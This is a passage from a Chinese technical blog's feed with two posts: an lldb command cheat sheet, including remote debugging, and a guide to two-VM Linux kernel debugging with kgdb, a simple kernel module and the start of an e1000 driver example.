&lt;h2 id=&quot;两个linux文件互传&quot;&gt;&lt;a href=&quot;#两个linux文件互传&quot; class=&quot;headerlink&quot; title=&quot;两个lin</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>lldb 命令简介</title>
    <link href="http://474172261.github.io/2023/02/22/lldb-help/"/>
    <id>http://474172261.github.io/2023/02/22/lldb-help/</id>
    <published>2023-02-22T11:54:44.212Z</published>
    <updated>2025-08-25T02:16:03.566Z</updated>
    
    <content type="html"><![CDATA[<span id="more"></span><h1 id="查看模块基址"><a href="#查看模块基址" class="headerlink" title="查看模块基址"></a>查看模块基址</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">(lldb) image list |grep prl_vm_app</span><br><span class="line">[  0] 08F2E3D7-D9F0-38E9-BA1F-0CA1E42095DE 0x000000010ca07000 /Applications/Parallels Desktop.app/Contents/MacOS/Parallels VM.app/Contents/MacOS/prl_vm_app</span><br></pre></td></tr></table></figure><h1 id="搜索符号位置"><a href="#搜索符号位置" class="headerlink" title="搜索符号位置"></a>搜索符号位置</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(lldb) image lookup -n funcname</span><br></pre></td></tr></table></figure><h1 id="下断点"><a href="#下断点" class="headerlink" title="下断点"></a>下断点</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">br set -a 0xXXXXXXXX 对地址下断点</span><br><span class="line">br set -f filename -l line</span><br><span class="line">br set -n viewDidLoad</span><br><span class="line">br set -n &quot;[类名 方法名]&quot;</span><br><span class="line">br list 列出断点</span><br><span class="line">br disa 禁用所有</span><br><span class="line">br en 3 启用断点3</span><br></pre></td></tr></table></figure><p>如果需要添加条件, 在最后添加<code>-c &quot;width &gt; 68&quot;</code>, 条件为width &gt; 68.</p><h2 id="断点命令"><a href="#断点命令" class="headerlink" title="断点命令"></a>断点命令</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">(lldb) br com add 1</span><br><span class="line">Enter your debugger command(s).  Type &#x27;DONE&#x27; to end.</span><br><span class="line">&gt; p i</span><br><span class="line">&gt; bt</span><br><span class="line">&gt; DONE</span><br></pre></td></tr></table></figure><h1 id="条件断点"><a href="#条件断点" class="headerlink" title="条件断点"></a>条件断点</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">w s e -- 0x123456</span><br><span class="line">w s e -s 2 -- 0x123456</span><br><span class="line">w s e -w read/write -s 2 -- 0x123456</span><br></pre></td></tr></table></figure><h1 id="查看寄存器"><a href="#查看寄存器" class="headerlink" title="查看寄存器"></a>查看寄存器</h1><p><code>reg read</code>, <code>reg read rax</code></p><h1 id="反汇编"><a href="#反汇编" class="headerlink" title="反汇编"></a>反汇编</h1><p>显示指定地址的汇编</p><p><code>(lldb) dis -s $pc</code></p><p>也可以用<code>x/i</code></p><p>通过<code>(lldb) help arch</code>获取支持的架构, 然后<code>(lldb) dis -A arm -s $pc</code></p><h1 id="单步"><a href="#单步" class="headerlink" title="单步"></a>单步</h1><p>si, ni, fin等</p><h1 id="设置变量"><a href="#设置变量" class="headerlink" title="设置变量"></a>设置变量</h1><p><code>expr long $test = 12</code></p><p><code>p $test=123</code></p><h1 id="读取和修改内存"><a href="#读取和修改内存" class="headerlink" title="读取和修改内存"></a>读取和修改内存</h1><p><code>x/10gx addr</code>, ‘c, b, w, d, g’</p><p><code>memory write -s 2 &#39;bytes&#39; 1 2 3 4</code></p><h1 id="自定义命令"><a href="#自定义命令" class="headerlink" title="自定义命令"></a>自定义命令</h1><p>1.别名(alias),使用简单,但是这个只能用来实现没有输入的命令<br> 2.正则命令(command regex),可以通过正则表达式来捕获输入,并且将其应用到命令中.但是这个在执行多行命令的时候非常不方便,并且,这个只能有一个输入参数.<br> 3.桥接脚本(script bridging) 基于python,这个很好的权衡了方便和复杂性.并且可以做任何LLDB能做的事情.</p><p>针对第三种:</p><p>在命令行直接运行:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">script import sys</span><br><span class="line">script print (sys.version)</span><br></pre></td></tr></table></figure><p>在文件test.py中创建:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">def findclass(debugger,command,result,internal_dict):</span><br><span class="line">    print(&quot;hello lldb&quot;)</span><br><span class="line">    # command 为输入</span><br><span class="line"></span><br><span class="line">def __lldb_init_module(debugger, internal_dict):</span><br><span class="line">    debugger.HandleCommand(&#x27;command script add -f findclass.findclass testcmd&#x27;)</span><br></pre></td></tr></table></figure><p>然后在lldb中引用<code>command script import ~/test.py</code></p><h1 id="调试"><a href="#调试" class="headerlink" title="调试"></a>调试</h1><p>参考<a href="https://lldb.llvm.org/use/remote.html">Remote Debugging</a></p><h2 id="远程调试"><a href="#远程调试" class="headerlink" title="远程调试"></a>远程调试</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">./lldb-server platform --listen <span class="string">&quot;*:1234&quot;</span> --server</span><br><span class="line"></span><br><span class="line">进入lldb client端</span><br><span class="line">(lldb) platform status <span class="comment"># 查看平台状态</span></span><br><span class="line">(lldb) platform list</span><br><span class="line">(lldb) platform select remote-freebsd</span><br><span class="line">  Platform: remote-freebsd</span><br><span class="line"> Connected: no</span><br><span class="line">(lldb) platform connect connect://192.168.1.8:1234</span><br><span class="line">  Platform: remote-freebsd</span><br><span class="line">    Triple: arm-unknown-linux-unknown</span><br><span class="line">OS Version: 5.10.93 (5.10.93)</span><br><span class="line">  Hostname: localhost</span><br><span class="line"> Connected: <span class="built_in">yes</span></span><br><span class="line">WorkingDir: /</span><br><span class="line">    Kernel: <span class="comment">#1 SMP Wed Dec 7 15:20:41 CST 2022</span></span><br><span class="line">(lldb)</span><br></pre></td></tr></table></figure><h2 id="更改workingdir"><a href="#更改workingdir" class="headerlink" title="更改workingdir"></a>更改workingdir</h2><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(lldb) platform settings -w /usr/local/bin</span><br></pre></td></tr></table></figure><h2 id="将本地文件推送到目的机器运行"><a href="#将本地文件推送到目的机器运行" class="headerlink" title="将本地文件推送到目的机器运行"></a>将本地文件推送到目的机器运行</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">(lldb) file a.out</span><br><span class="line">(lldb) run</span><br></pre></td></tr></table></figure><h2 id="attach"><a href="#attach" class="headerlink" title="attach"></a>attach</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">file  [target_binary] # 指定将要调试的二进制文件,注意是相对于WorkingDir的路径</span><br><span class="line">platform process list # 查看一直远端的进程, 找到目标进程pid, 或者名称</span><br><span class="line">attach 9053</span><br></pre></td></tr></table></figure><h2 id="将本地文件推到目的机器指定目录"><a href="#将本地文件推到目的机器指定目录" class="headerlink" title="将本地文件推到目的机器指定目录"></a>将本地文件推到目的机器指定目录</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">(lldb) file a.out</span><br><span class="line">(lldb) script lldb.target.module[&#x27;a.out&#x27;].SetPlatformFileSpec(&quot;/bin/a.out&quot;)</span><br><span class="line"># 如果要包含模块</span><br><span class="line">(lldb) target module add /local/build/libfoo.so # 本地地址</span><br><span class="line">(lldb) script lldb.target.module[&#x27;libfoo.so&#x27;].SetPlatformFileSpec(&quot;/usr/lib/libfoo.so&quot;)</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;span id=&quot;more&quot;&gt;&lt;/span&gt;

&lt;h1 id=&quot;查看模块基址&quot;&gt;&lt;a href=&quot;#查看模块基址&quot; class=&quot;headerlink&quot; title=&quot;查看模块基址&quot;&gt;&lt;/a&gt;查看模块基址&lt;/h1&gt;&lt;figure class=&quot;highlight bash&quot;&gt;&lt;</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>Linux双虚拟机调试及自定义驱动示例</title>
    <link href="http://474172261.github.io/2023/02/22/linux-debug-setting/"/>
    <id>http://474172261.github.io/2023/02/22/linux-debug-setting/</id>
    <published>2023-02-22T11:54:44.196Z</published>
    <updated>2022-09-30T04:08:22.000Z</updated>
    
    <content type="html"><![CDATA[<p>本文章主要简介如何准备vmware的双机调试, 并示例了一些简单的驱动编写和调试信息</p><span id="more"></span><h2 id="准备内核"><a href="#准备内核" class="headerlink" title="准备内核"></a>准备内核</h2><p><a href="https://www.kernel.org/pub/linux/kernel/">linux kernel source</a></p><h2 id="配置虚拟机"><a href="#配置虚拟机" class="headerlink" title="配置虚拟机"></a>配置虚拟机</h2><ol><li>新建一个虚拟机</li><li>添加串口, 并做如下配置<br><img src="/images/linux-setting/1.png"><br>此虚拟机作为被调试机</li></ol><h2 id="克隆虚拟机"><a href="#克隆虚拟机" class="headerlink" title="克隆虚拟机"></a>克隆虚拟机</h2><p><img src="/images/linux-setting/3.png"></p><p>修改串口设备的配置,设定为”该端为客户端”, 此为调试机</p><h2 id="在被调试机编译内核"><a href="#在被调试机编译内核" class="headerlink" title="在被调试机编译内核"></a>在被调试机编译内核</h2><ol><li><p>解压内核</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">tar jxvf linux-2.6.26.tar.bz2</span><br><span class="line"><span class="built_in">cd</span> linux-*</span><br></pre></td></tr></table></figure></li><li><p>安装组件</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install libncurses-dev gawk flex bison openssl libssl-dev dkms libelf-dev libudev-dev libpci-dev libiberty-dev autoconf</span><br></pre></td></tr></table></figure></li><li><p>配置编译参数</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">make menuconfig</span><br></pre></td></tr></table></figure><blockquote><p><strong>可能的错误</strong></p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">error: curses.h: No such file or directory</span><br><span class="line">基于Debian的发行版（如Debian、Ubuntu）：sudo apt-get install libncurses5-dev</span><br><span class="line">基于Red Hat的发行版（如RHEL、CentOS）：sudo yum install ncurses-devel</span><br><span class="line"></span><br><span class="line">如果出现找不到该包，尝试以下设置：</span><br><span class="line">vi  /etc/apt/source.list</span><br><span class="line">添加其它系统的源[源列表地址](http://mirrors.163.com/.help/debian.html)</span><br><span class="line">比如kali,我添加的debian jessie的源</span><br></pre></td></tr></table></figure><p>如果提示窗口太小出错,说明你的命令行窗口小了,放大一点再试试.<br>内核调试需要做如下设置:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Kernel Hacking –&gt;</span><br><span class="line">   compile-time checks and compiler options –&gt;</span><br><span class="line">       [*] Compile the kernel with debug info</span><br><span class="line">       [*] Compile the kernel with frame pointers</span><br><span class="line">   [*] kernel debugging</span><br><span class="line">   [*] KGDB: kernel debugger–&gt;</span><br><span class="line">       &lt;*&gt; KGDB: use kgdb over the serial console</span><br></pre></td></tr></table></figure><p>完成上述选项后, 直接save后推出.</p></li><li><p>编译内核</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">make -j 4 bzImage <span class="comment"># -j 代表用多少线程, 不要超过cpu的最大线程数</span></span><br><span class="line">make modules</span><br><span class="line">make modules_install</span><br><span class="line">make install</span><br></pre></td></tr></table></figure></li><li><p>修改启动表<br>打开 &#x2F;boot&#x2F;grub&#x2F;grub.conf (如果不存在, 就改grub.cfg文件)<br>针对 grub.conf</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"> 1 # grub.conf generated by anaconda</span><br><span class="line"> 2 #</span><br><span class="line"> 3 # Note that you do not have to rerun grub after making changes to this file</span><br><span class="line"> 4 # NOTICE:  You have a /boot partition.  This means that</span><br><span class="line"> 5 #          all kernel and initrd paths are relative to /boot/, eg.</span><br><span class="line"> 6 #          root (hd0,0)</span><br><span class="line"> 7 #          kernel /vmlinuz-version ro root=/dev/VolGroup00/LogVol00</span><br><span class="line"> 8 #          initrd /initrd-version.img</span><br><span class="line"> 9 #boot=/dev/hda</span><br><span class="line">10 default=0</span><br><span class="line">11 timeout=5</span><br><span class="line">12 splashimage=(hd0,0)/grub/splash.xpm.gz</span><br><span class="line">13 hiddenmenu</span><br><span class="line">14 title CentOS (2.6.26)</span><br><span class="line">15     root (hd0,0)</span><br><span class="line">16     kernel /vmlinuz-2.6.26 ro root=/dev/VolGroup00/LogVol00   </span><br><span class="line">17     initrd /initrd-2.6.26.img</span><br><span class="line">18 title CentOS-4 i386 (2.6.9-67.ELsmp)</span><br><span class="line">19     root (hd0,0)</span><br><span class="line">20     kernel /vmlinuz-2.6.9-67.ELsmp ro root=/dev/VolGroup00/LogVol00   &lt;---------------------</span><br><span class="line">21     initrd /initrd-2.6.9-67.ELsmp.img</span><br></pre></td></tr></table></figure><p>在kernel那一行末尾添加 “kgdboc&#x3D;ttyS0,115200 nokaslr”</p><blockquote><p>nokaslr是禁用内核的kaslr机制, 避免某些情况下内核地址随机化导致gdb没办法识别源码. 更多命令可以参考<a href="https://www.kernel.org/doc/html/latest/dev-tools/kgdb.html">Using kgdb, kdb and the kernel debugger internals</a></p></blockquote></li></ol><p>如下图:<br><img src="/images/linux-setting/2.png"><br>针对 grub.cfg:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">menuentry &#x27;Ubuntu, with Linux 3.8.0-19-generic&#x27; --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option &#x27;gnulinux-3.8.0-19-generic-advanced-af5e68c6-4f1f-494e-8c35-fc0911ec3564&#x27; &#123;</span><br><span class="line">recordfail</span><br><span class="line">  load_video</span><br><span class="line">  gfxmode $linux_gfx_mode</span><br><span class="line">  insmod gzio</span><br><span class="line">  insmod part_msdos</span><br><span class="line">  insmod ext2</span><br><span class="line">  set root=&#x27;hd0,msdos1&#x27;</span><br><span class="line">  if [ x$feature_platform_search_hint = xy ]; then</span><br><span class="line">    search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  af5e68c6-4f1f-494e-8c35-fc0911ec3564</span><br><span class="line">  else</span><br><span class="line">    search --no-floppy --fs-uuid --set=root af5e68c6-4f1f-494e-8c35-fc0911ec3564</span><br><span class="line">  fi</span><br><span class="line">  echo  &#x27;Loading Linux 3.8.0-19-generic ...&#x27;</span><br><span class="line">  linux /boot/vmlinuz-3.8.0-19-generic root=UUID=af5e68c6-4f1f-494e-8c35-fc0911ec3564 ro find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US  kgdboc=ttyS0,115200  kgdbwait  quiet </span><br><span class="line">  ^</span><br><span class="line">  |</span><br><span class="line">  -------------</span><br><span class="line">  echo  &#x27;Loading initial ramdisk ...&#x27;</span><br><span class="line">  initrd  /boot/initrd.img-3.8.0-19-generic</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在新内核对应的内容下添加 “kgdboc&#x3D;ttyS0,115200”</p><h2 id="测试双机调试"><a href="#测试双机调试" class="headerlink" title="测试双机调试"></a>测试双机调试</h2><p>开启两个虚拟机, 在被调试机上运行命令</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> hello &gt;/dev/ttyS0</span><br></pre></td></tr></table></figure><p>在调试机上运行</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /dev/ttyS0</span><br></pre></td></tr></table></figure><p>如果调试机没有收到消息, 就实时用&#x2F;dev&#x2F;ttyS1, 多试两下就行<br>如果成功了, 记得改grub的配置.</p><h2 id="开始调试"><a href="#开始调试" class="headerlink" title="开始调试"></a>开始调试</h2><p>如果grub没有配置”kgdbwait”参数, 就在被调试机开机后输入</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> g &gt;/proc/sysrq-tirgger</span><br></pre></td></tr></table></figure><p>在调试机里</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">$ gdb linux-3.18.34/vmlinux</span><br><span class="line">.....</span><br><span class="line">(gdb) set remotebaud 115200</span><br><span class="line">(gdb) target remote /dev/ttyS0</span><br><span class="line"></span><br><span class="line">Remote debugging using /dev/ttyS0</span><br><span class="line">kgdb_breakpoint () at kernel/kgdb.c:1674</span><br><span class="line">1674    wmb(); /*Sync point after breakpoint */</span><br><span class="line">warning: shared library handler failed to enable breakpoint</span><br><span class="line"></span><br><span class="line">(gdb)</span><br></pre></td></tr></table></figure><blockquote><p>如果”set remotebaud 115200”的时候出错,就换成”set serial baud 115200”</p></blockquote><h2 id="调试自定义驱动"><a href="#调试自定义驱动" class="headerlink" title="调试自定义驱动"></a>调试自定义驱动</h2><p>一个简单的驱动文件可以是如下形式(test.c):</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/module.h&gt;</span> </span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;asm/io.h&gt;</span> </span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/slab.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/ioport.h&gt;</span> </span></span><br><span class="line">MODULE_LICENSE(<span class="string">&quot;GPL&quot;</span>); </span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">my_module_init</span><span class="params">(<span class="type">void</span>)</span>&#123;</span><br><span class="line">  printk(<span class="string">&quot;module init done\n&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">my_module_exit</span><span class="params">(<span class="type">void</span>)</span>&#123;</span><br><span class="line">  printk(<span class="string">&quot;module exit\n&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">module_init( my_module_init );<span class="comment">//声明初始化函数</span></span><br><span class="line">module_exit( my_module_exit );</span><br></pre></td></tr></table></figure><p><strong>Makefile</strong> 文件内容如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">obj-m += test.o</span><br><span class="line">KDIR:=/lib/modules/$(shell uname -r)/build</span><br><span class="line">MAKE:=make  </span><br><span class="line">default:  </span><br><span class="line">$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules  </span><br><span class="line">clean:  </span><br><span class="line">$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) clean </span><br></pre></td></tr></table></figure><blockquote><p>注意, $(MAKE)前是tab, 不是空格! 高版本的gcc 需要把<code>SUBDIRS</code>替换成<code>M</code></p><p>驱动的其它提示可以参考我的”Linux 使用技巧” 文章的关于linux驱动的部分</p></blockquote><p>准备编译环境并编译安装驱动:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">root@ubuntu:/home/vv<span class="comment"># apt install bison flex gcc autoconf -y</span></span><br><span class="line">root@ubuntu:/home/vv<span class="comment"># make</span></span><br><span class="line">root@ubuntu:/home/vv<span class="comment"># insmod test.ko</span></span><br></pre></td></tr></table></figure><blockquote><p>如果想在加载驱动时拦截, 可以考虑在module_init里的入口函数处添加一个int3断点 <code>asm(&quot;.byte 0xcc&quot;);</code>实现.</p></blockquote><p>如果想带符号, 假设我们要调试带符号的kvm.ko驱动, 首先在被调试机上通过<code>cat /proc/modules|grep</code>获取驱动基址:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">root@ubuntu:/home/vv# cat /proc/modules |grep kvm</span><br><span class="line">kvm_intel 294912 0 - Live 0xffffffffc066c000</span><br><span class="line">kvm 843776 1 kvm_intel, Live 0xffffffffc055e000</span><br></pre></td></tr></table></figure><p>此处可以看到, kvm的基址是0xffffffffc055e000.<br>然后通过<code>echo g &gt;/proc/sysrq-tirgger</code> 使内核中断.<br>然后在调试器里输入以下命令添加符号:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">gdb$ add-symbol-file arch/x86/kvm/kvm.ko 0xffffffffc055e000</span><br><span class="line">add symbol table from file &quot;arch/x86/kvm/kvm.ko&quot; at</span><br><span class="line">        .text_addr = 0xffffffffc055e000</span><br><span class="line">Reading symbols from arch/x86/kvm/kvm.ko...</span><br><span class="line">gdb$</span><br></pre></td></tr></table></figure><p>这代表我们添加成功了. 也可以索引到kvm的符号了.</p><h2 id="简单的e1000网卡驱动示例"><a href="#简单的e1000网卡驱动示例" class="headerlink" title="简单的e1000网卡驱动示例"></a>简单的e1000网卡驱动示例</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;asm/dma.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;asm/page.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/slab.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/pci.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/module.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/random.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/pci_ids.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/delay.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> LOG <span class="string">&quot;MYMOD:&quot;</span></span></span><br><span class="line"><span class="type">char</span> e1000_driver_name[] = <span class="string">&quot;t_e1000e&quot;</span>;</span><br><span class="line"><span class="type">static</span> <span class="type">const</span> <span class="class"><span class="keyword">struct</span> <span class="title">pci_device_id</span> <span class="title">e1000_pciid_table</span>[] =</span> &#123;</span><br><span class="line">    &#123; PCI_VDEVICE(INTEL, <span class="number">0x10D3</span>), <span class="number">3</span> &#125;,<span class="comment">//E1000_DEV_ID_82574L) , board_82574</span></span><br><span class="line">    &#123;<span class="number">0</span>&#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span 